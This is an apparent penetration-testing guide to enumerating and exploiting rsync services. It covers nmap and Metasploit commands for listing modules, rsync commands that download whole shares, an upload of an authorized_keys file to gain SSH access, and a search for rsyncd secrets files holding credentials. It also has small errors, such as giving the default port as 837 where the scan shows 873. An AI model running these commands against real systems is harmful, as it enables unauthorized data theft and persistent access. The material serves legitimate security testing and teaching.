rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across networked computers by comparing the modification timesand sizes of files. It is commonly found on Unix-like operating systems. The rsync algorithm is a type of delta encoding, and is used for minimizing network usage. Zlib may be used for additional data compression, and SSH or stunnel can be used for security.
Default port: 837
PORT STATE SERVICE REASON873/tcp open rsync syn-ack
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This options lists the available modules and, optionally, determines if the module requires a password to access:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>msf> use auxiliary/scanner/rsync/modules_list#Example using IPv6 and a different portrsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Notice that it could be configured a shared name to not be listed. So there could be something hidden. Notice that it may be some shared names being listed where you need some (different) credentials to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an "Access Denied" message when trying to access some of those.
Once you have the list of modules you have a few different options depending on the actions you want to take and whether or not authentication is required. If authentication is not required you can list a shared folder:
rsync -av --list-only rsync://192.168.0.123/shared_name
And copy all files to your local machine via the following command:
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
This recursively transfers all files from the directory
<shared_name> on the machine
./rsync_shared directory on the local machine. The files are transferred in "archive" mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer.
If you have credentials you can list/download a shared name using (the password will be prompted):
rsync -av --list-only rsync://email@example.com/shared_namersync -av rsync://firstname.lastname@example.org:8730/shared_name ./rsyn_shared
You could also upload some content using rsync (for example, in this case we can upload an authorized_keys file to obtain access to the box):
rsync -av home_user/.ssh/ rsync://email@example.com/home_user/.ssh
Find the rsyncd configuration file:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Inside the config file sometimes you could find the parameter secrets file = /path/to/file and this file could contains usernames and passwords allowed to authenticate to rsyncd.